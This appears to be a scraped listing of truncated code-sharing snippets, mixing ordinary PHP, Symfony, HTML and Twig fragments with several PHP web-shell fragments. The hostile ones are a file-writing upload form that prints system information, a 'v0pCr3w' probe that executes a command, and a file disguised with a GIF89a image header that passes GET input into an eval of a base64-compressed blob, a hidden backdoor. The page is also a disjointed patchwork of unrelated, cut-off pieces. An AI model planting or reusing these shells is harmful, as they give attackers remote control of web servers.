This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class User implements UserInterface | |
{ | |
// ... | |
/** | |
* Compares this user to another to determine if they are the same. | |
* | |
* @param UserInterface $user |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
class User implements UserInterface | |
{ | |
// ... | |
/** | |
* Compares this user to another to determine if they are the same. | |
* | |
* @param UserInterface $user |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<html> | |
<head> | |
<title>contenteditable example</title> | |
</head> | |
<body> | |
<!-- html code ... --> | |
<article contenteditable="true" date-edit-url="update.php"> | |
Some content here ... | |
</article> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
namespace Acme\DemoBundle\Command; | |
use Symfony\Bundle\FrameworkBundle\Command\ContainerAwareCommand; | |
use Symfony\Component\Console\Input\InputInterface; | |
use Symfony\Component\Console\Output\OutputInterface; | |
class AcmeCommand extends ContainerAwareCommand | |
{ |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
$content = stripslashes($_POST['content']); | |
$cfile = $_POST['cfile']; | |
$ufile = $_POST['ufile']; | |
echo '<b><br>'.php_uname().'<br></b>'; | |
echo '<form action="" method="post" enctype="multipart/form-data" name="aw" id="aw">'; | |
echo '<textarea name=content style="width:585px;height:200px">'.$content.'</textarea><br>'; | |
echo '<input type="text" name="cfile" size="10" value="newfile.php">'; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
echo "v0pCr3w"; | |
echo "sys:".php_uname().""; | |
$cmd = "echo nob0dyCr3w"; | |
$eseguicmd = ex($cmd); | |
echo $eseguicmd; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
GIF89a?????ÿÿÿ!ù????,???????D?;?<?php | |
@error_reporting(0); | |
@set_time_limit(0); | |
$lol = $_GET['lol']; | |
$osc = $_GET['osc']; | |
if (isset($lol)) { | |
eval(gzinflate(base64_decode('pZ...gE='))); | |
die; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
public function __sleep() | |
{ | |
$ref = new \ReflectionClass(__CLASS__); | |
$props = $ref->getProperties(\ReflectionProperty::IS_PROTECTED); | |
$serialize_fields = array(); | |
foreach ($props as $prop) { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
/** | |
* DoctrineExtensions Mysql Function Pack | |
* | |
* LICENSE | |
* | |
* This source file is subject to the new BSD license that is bundled | |
* with this package in the file LICENSE.txt. | |
* If you did not receive a copy of the license and are unable to |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
{% if form.get('errors') is not empty %} | |
Magic errors display! | |
{% endif %} |